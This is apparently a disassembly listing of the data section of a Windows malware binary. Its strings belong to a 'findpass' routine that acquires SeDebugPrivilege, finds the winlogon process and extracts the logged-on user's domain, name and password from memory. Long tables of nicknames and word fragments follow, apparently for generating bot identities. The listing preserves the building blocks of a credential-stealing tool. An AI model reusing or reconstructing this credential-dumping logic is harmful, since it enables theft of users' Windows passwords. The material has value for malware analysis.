dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437938 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43796C db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_437998 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_4379D0 db 2Dh ; - ; DATA XREF: sub_416F1A+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_437A2C dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo
dd offset byte_520045
dd offset loc_4F0044
dd offset loc_41004D
dd offset loc_4E0047+2
dd 0
off_437A44 dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo
dd offset byte_520045
dd offset loc_41004D+1
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
; sub_416F1A+161o ...
align 4
unk_437B08 db 2Dh ; - ; DATA XREF: sub_416F1A+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo
align 4
dword_437B54 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417552+70o
; sub_4175E9+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437BA4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175E9+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_437BF8 dd offset aQ ; DATA XREF: sub_417ADD+5Cr
; "q"
dd offset dword_4387A8
dd offset aE ; "e"
dd offset aR ; "r"
; ---------------------------------------------------------------------------
add dl, 42h
add [edi+eax*4-5587FFBDh], ah
inc edx
add ah, bl
retn 42h
; ---------------------------------------------------------------------------
push esp
stosb
inc edx
add al, bl
lodsb
inc edx
add ah, ah
retn 42h
; ---------------------------------------------------------------------------
dd offset aD ; "d"
dd offset dword_4387A0
dd offset dword_43879C
dd offset dword_438798
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_438794
dd offset dword_438790
dd offset dword_43878C
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_438788
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_438784
dd offset dword_438780
dd offset dword_43877C
dd offset dword_438778
dd offset dword_438774
dd offset word_438770
dd offset dword_43876C
dd offset aI_0 ; "I"
dd offset dword_438768
dd offset dword_438764
dd offset aA_0 ; "A"
dd offset dword_438760
dd offset dword_43875C
dd offset dword_438758
dd offset dword_438754
dd offset dword_438750
dd offset dword_43874C
dd offset dword_438748
dd offset dword_438744
dd offset dword_438740
dd offset dword_43873C
dd offset dword_438738
dd offset dword_438734
dd offset dword_438730
dd offset word_43872C
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_4384C4
dd offset off_4384C0
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_43832C
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_437EF8 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r
; sub_417ADD+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_438788
dd offset aC ; "c"
dd offset aD ; "d"
dd offset aE ; "e"
dd offset dword_4387A0
dd offset dword_43879C
dd offset dword_438798
dd offset aI ; "i"
dd offset dword_42B500
; ---------------------------------------------------------------------------
dec eax
mov bl, 42h
add [eax-39h], ah
inc edx
add [edi+eax*4-5337FFBDh], dl
inc edx
add [ebx+esi*4+42h], cl
add ah, bh
mov dl, 42h
add [edx+ebp*4+42h], dl
add al, dh
retn 42h
; ---------------------------------------------------------------------------
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_4387A8
dd offset dword_43878C
dd offset dword_4387A4
dd offset dword_438790
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_438790
dd offset dword_43879C
dd offset aS_0 ; "s"
dd offset aQ ; "q"
dd offset off_438148
dd offset aBbl ; "|bbl"
dd offset dword_43D128
dd offset dword_43D128
dd offset a___0 ; "_|_"
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_438758
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_2 ; "^^^f^"
dd offset dword_438788
dd offset dword_43D128
dd offset aSleeping ; "Sleeping"
dd offset dword_43D128
dd offset dword_43D128
dd offset aFuck ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43D128
dd offset dword_43D128
dd offset dword_43873C
dd offset dword_43D128
dd offset off_438108
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_4380C8
dd offset dword_4380C4
dd offset dword_4380BC
dd offset dword_4380B0
dd offset dword_4380A8
dd offset dword_4380A0
dd offset dword_438098
dd offset dword_438094
dd offset dword_438090
dword_438090 dd 7536h ; DATA XREF: ___:0043808Co
dword_438094 dd 7535h ; DATA XREF: ___:00438088o
dword_438098 dd 7C75347Ch, 0 ; DATA XREF: ___:00438084o
dword_4380A0 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438080o
dword_4380A8 dd 7375347Ch, 7Ch ; DATA XREF: ___:0043807Co
dword_4380B0 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438078o
dword_4380BC dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438074o
dword_4380C4 dd 6C6F6Ch ; DATA XREF: ___:00438070o
dword_4380C8 dd 746F74h ; DATA XREF: ___:0043806Co
aMofo db 'mofo',0 ; DATA XREF: ___:00438068o
align 4
aMof0 db 'mof0',0 ; DATA XREF: ___:00438064o
align 4
aMuha db 'muha',0 ; DATA XREF: ___:00438060o
align 4
aYeah db 'yeah',0 ; DATA XREF: ___:0043805Co
align 4
aAha db 'aha',0 ; DATA XREF: ___:00438058o
aShit db 'shit',0 ; DATA XREF: ___:00438054o
align 4
aGurl db 'gurl',0 ; DATA XREF: ___:00438050o
align 10h
aGirl_0 db 'GIRL',0 ; DATA XREF: ___:0043804Co
align 4
off_438108 dd offset word_594F42 ; DATA XREF: ___:00438048o
aFree db 'Free',0 ; DATA XREF: ___:00438034o
align 4
aFuck db 'Fuck',0 ; DATA XREF: ___:00438030o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438024o
align 4
aF_2 db '^^^f^',0 ; DATA XREF: ___:00438018o
align 10h
aSad db 'Sad',0 ; DATA XREF: ___:00438014o
aLuvu db 'LUVU',0 ; DATA XREF: ___:00438010o
align 4
a___0 db '_|_',0 ; DATA XREF: ___:00437FF4o
aBbl db '|bbl',0 ; DATA XREF: ___:00437FE8o
align 4
off_438148 dd offset loc_425242 ; DATA XREF: ___:00437FE4o
aMuckc db 'muckc',0 ; DATA XREF: ___:00437FD0o
align 4
aTruck db 'truck',0 ; DATA XREF: ___:00437FCCo
align 4
aTrimy db 'trimy',0 ; DATA XREF: ___:00437FC8o
align 4
aLuvy db 'luvy',0 ; DATA XREF: ___:00437FC4o
align 4
aUi db 'ui',0 ; DATA XREF: ___:00437FC0o
align 10h
aSdf db 'sdf',0 ; DATA XREF: ___:00437FBCo
aRt db 'rt',0 ; DATA XREF: ___:00437FB8o
align 4
aGf db 'gf',0 ; DATA XREF: ___:00437FB4o
align 4
aTy db 'ty',0 ; DATA XREF: ___:00437FB0o
align 10h
aRg db 'rg',0 ; DATA XREF: ___:00437FACo
align 4
aHappy db 'happy',0 ; DATA XREF: ___:00437FA8o
align 4
aRs db 'rs',0 ; DATA XREF: ___:00437F88o
align 10h
aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F40o
align 4
aQ8 db 'Q8',0 ; DATA XREF: ___:00437F3Co
align 4
aSick db 'sick}}',0 ; DATA XREF: ___:00437F38o
align 4
aWiked db '|wiked|',0 ; DATA XREF: ___:00437F34o
aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F30o
align 4
aGens db '{gens|',0 ; DATA XREF: ___:00437F2Co
align 10h
aSex db '{sex}',0 ; DATA XREF: ___:00437F28o
align 4
aHub db '{hub}',0 ; DATA XREF: ___:00437F24o
align 10h
aLuck db '|luck|',0 ; DATA XREF: ___:00437F20o
align 4
aSuck db '|suck|',0 ; DATA XREF: ___:00437F1Co
align 10h
aTot db '-|tot|',0 ; DATA XREF: ___:00437F18o
align 4
aWoh db '|woh|',0 ; DATA XREF: ___:00437F14o
align 10h
aTambe db '|tambe|',0 ; DATA XREF: ___:00437F10o
aLag db 'lag',0 ; DATA XREF: ___:00437F0Co
aBad db 'bad',0 ; DATA XREF: ___:00437F08o
aTree db 'tree',0 ; DATA XREF: ___:00437F04o
align 4
aZex db 'zex',0 ; DATA XREF: ___:00437F00o
aLez db 'lez',0 ; DATA XREF: ___:00437EFCo
aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF8o
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EF4o
align 10h
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EF0o
align 4
aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EECo
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE8o
align 10h
aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EE4o
align 4
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437EE0o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437EDCo
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED8o
align 4
aCem39 db 'cem39',0 ; DATA XREF: ___:00437ED4o
align 4
aCool30m db 'cool30m',0 ; DATA XREF: ___:00437ED0o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00437ECCo
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC8o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EC4o
align 10h
aUla db 'ula',0 ; DATA XREF: ___:00437EC0o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EBCo
aAkden db 'akden',0 ; DATA XREF: ___:00437EB8o
align 4
aKoray db 'KORAY',0 ; DATA XREF: ___:00437EB4o
align 4
aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EB0o
align 4
aFirtina db 'firtina',0 ; DATA XREF: ___:00437EACo
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA8o
aM41ist db 'M41IST',0 ; DATA XREF: ___:00437EA4o
align 4
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437EA0o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E9Co
align 10h
aAnkm db 'ankM',0 ; DATA XREF: ___:00437E98o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:00437E94o
align 10h
aDevre db 'devre',0 ; DATA XREF: ___:00437E90o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E8Co
align 10h
aBirsen db 'birsen',0 ; DATA XREF: ___:00437E88o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:00437E84o
align 10h
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E80o
align 4
off_43832C dd offset byte_4B5245 ; DATA XREF: ___:00437E7Co
aSevda db 'sevda',0 ; DATA XREF: ___:00437E78o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:00437E74o
align 10h
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E70o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E6Co
align 4
aKapk db 'kapk',0 ; DATA XREF: ___:00437E68o
align 4
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E64o
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:00437E60o
align 10h
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E5Co
align 4
aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E58o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E54o
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E50o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:00437E4Co
align 10h
aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E48o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:00437E44o
align 10h
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E40o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E3Co
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E38o
align 10h
aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E34o
align 4
aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E30o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E2Co
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E28o
aHoly db 'holy',0 ; DATA XREF: ___:00437E24o
align 4
aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E20o
align 4
aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E1Co
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E18o
align 10h
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E14o
align 4
aEmre db 'Emre--',0 ; DATA XREF: ___:00437E10o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E0Co
align 4
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E08o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E04o
align 10h
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E00o
align 4
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DFCo
aArda db 'arda',0 ; DATA XREF: ___:00437DF8o
align 10h
aDevran db 'devran',0 ; DATA XREF: ___:00437DF4o
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DF0o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DECo
align 4
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE8o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DE4o
align 4
aBogac db 'bogac',0 ; DATA XREF: ___:00437DE0o
align 4
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DDCo
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD8o
align 10h
off_4384C0 dd offset byte_457441 ; DATA XREF: ___:00437DD4o
dword_4384C4 dd 414C5941h, 2Dh ; DATA XREF: ___:00437DD0o
aAlbina db 'albina',0 ; DATA XREF: ___:00437DCCo
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC8o
align 10h
aZack db 'ZACK',0 ; DATA XREF: ___:00437DC4o
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DC0o
align 10h
aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DBCo
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB8o
align 10h
aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DB4o
align 4
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DB0o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:00437DACo
align 10h
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA8o
align 4
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DA4o
aAslii db 'aslii',0 ; DATA XREF: ___:00437DA0o
align 4
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D9Co
aHaticem db 'haticem',0 ; DATA XREF: ___:00437D98o
aArzu db 'ARZU',0 ; DATA XREF: ___:00437D94o
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D90o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D8Co
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D88o
align 4
aTekir db 'tekir',0 ; DATA XREF: ___:00437D84o
align 4
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D80o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D7Co
align 10h
aMelekk db 'melekk',0 ; DATA XREF: ___:00437D78o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:00437D74o
align 10h
aMary db 'MARY',0 ; DATA XREF: ___:00437D70o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D6Co
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D68o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D64o
align 4
aIrmal db 'irmal',0 ; DATA XREF: ___:00437D60o
align 4
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D5Co
align 4
aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D58o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D54o
align 4
aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D50o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D4Co
align 10h
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D48o
align 4
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D44o
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:00437D40o
aReshma db 'reshma',0 ; DATA XREF: ___:00437D3Co
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D38o
align 10h
aGirl db 'GirL',0 ; DATA XREF: ___:00437D34o
align 4
aImra db 'imra',0 ; DATA XREF: ___:00437D30o
align 10h
aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D2Co
align 4
aPuregold db 'puregold',0 ; DATA XREF: ___:00437D28o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:00437D24o
align 10h
aManee db 'manee',0 ; DATA XREF: ___:00437D20o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:00437D1Co
aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D18o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D14o
align 4
aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D10o
align 4
aJanno db 'janno',0 ; DATA XREF: ___:00437D0Co
align 4
aBunty db 'bunty',0 ; DATA XREF: ___:00437D08o
align 4
aHeval db 'heval',0 ; DATA XREF: ___:00437D04o
align 4
aCme db 'cme',0 ; DATA XREF: ___:00437D00o
aMarcy db 'marcy',0 ; DATA XREF: ___:00437CFCo
align 10h
aTalika db 'talika',0 ; DATA XREF: ___:00437CF8o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:00437CF4o
align 10h
aKen db 'ken',0 ; DATA XREF: ___:00437CF0o
aFlexster db 'flexster',0 ; DATA XREF: ___:00437CECo
align 10h
aKoko db 'koko',0 ; DATA XREF: ___:00437CE8o
align 4
aMale db 'male',0 ; DATA XREF: ___:00437CE4o
align 10h
aSwin db 'swin',0 ; DATA XREF: ___:00437CE0o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CDCo
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD8o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:00437CD4o
align 10h
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CD0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CCCo
aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CC4o
align 4
aM_0: ; DATA XREF: ___:00437CC0o
; ___:0043800Co
unicode 0, <M>,0
word_43872C dw 4Eh ; DATA XREF: sub_419E79+38r
; ___:00437CBCo
align 10h
dword_438730 dd 42h ; DATA XREF: ___:00437CB8o
dword_438734 dd 56h ; DATA XREF: ___:00437CB4o
dword_438738 dd 43h ; DATA XREF: ___:00437CB0o
dword_43873C dd 58h ; DATA XREF: ___:00437CACo
; ___:00438040o
dword_438740 dd 5Ah ; DATA XREF: ___:00437CA8o
dword_438744 dd 4Ch ; DATA XREF: ___:00437CA4o
dword_438748 dd 4Bh ; DATA XREF: ___:00437CA0o
dword_43874C dd 4Ah ; DATA XREF: ___:00437C9Co
dword_438750 dd 48h ; DATA XREF: ___:00437C98o
dword_438754 dd 47h ; DATA XREF: ___:00437C94o
dword_438758 dd 46h ; DATA XREF: ___:00437C90o
; ___:00438008o
dword_43875C dd 44h ; DATA XREF: ___:00437C8Co
dword_438760 dd 53h ; DATA XREF: ___:00437C88o
dword_438764 dd 50h ; DATA XREF: ___:00437C80o
dword_438768 dd 4Fh ; DATA XREF: ___:00437C7Co
dword_43876C dd 55h ; DATA XREF: ___:00437C74o
word_438770 dw 59h ; DATA XREF: sub_41A19D+38r
; ___:00437C70o
align 4
dword_438774 dd 54h ; DATA XREF: ___:00437C6Co
dword_438778 dd 52h ; DATA XREF: ___:00437C68o
dword_43877C dd 45h ; DATA XREF: ___:00437C64o
dword_438780 dd 57h ; DATA XREF: ___:00437C60o
dword_438784 dd 51h ; DATA XREF: ___:00437C5Co
